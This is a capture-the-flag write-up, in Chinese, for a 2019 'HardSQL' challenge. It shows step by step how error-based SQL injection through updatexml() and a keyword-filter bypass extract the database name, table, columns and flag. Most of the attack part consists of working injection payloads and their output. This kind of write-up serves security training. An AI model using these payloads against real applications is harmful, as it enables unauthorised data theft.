[极客大挑战 2019]HardSQL

目录

1.简单测试

2.报错注入

3. 爆库  

4.  爆表  

5.  爆列 

6. 爆值 

7. 拼接

---

1.简单测试

回顾之前的SQL,都是一种样式，肯定是原来的升级版,那就简单测试一下，输入and 1 = 1,order by......不论是发现都是一样的界面

 

2.报错注入

尝试用报错注入的方式试一试呗，反正不吃亏  

一开始按照常理输入句子爆库，不行，发现应该是过滤掉一些关键字，但是具体过滤掉哪一些，本人还不太会使用工具，所以手工尝试，发现过滤了and、= 空格 union等多个sql关键字  

3. 爆库  

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))or'  

 

得到数据库名为geek 

4.  爆表  

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))or'  

表：H4rDsq1

5.  爆列 

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))or'

列：id,username,password

6. 爆值 

1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1)),0x7e),1))or'

得到flag{fb9d42ef-1f2d-4422-b2

发现出现flag,但是不完整，原因是用updatexml()函数，一次只能显示32个字符，所以我们需要利用其他办法得到后面的结果进行拼接  

7. 拼接

比如使用right()函数或者left(()函数  

https://baike.baidu.com/item/right%E5%87%BD%E6%95%B0/8088771  

 1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(geek.H4rDsq1)),0x7e),1))or'

 

得到f-1f2d-4422-b201-863ed064bc9d} 

 flag{fb9d42ef-1f2d-4422-b2

 flag{fb9d42ef-1f2d-4422-b201-863ed064bc9d}

所以flag最后就可以挖出来啦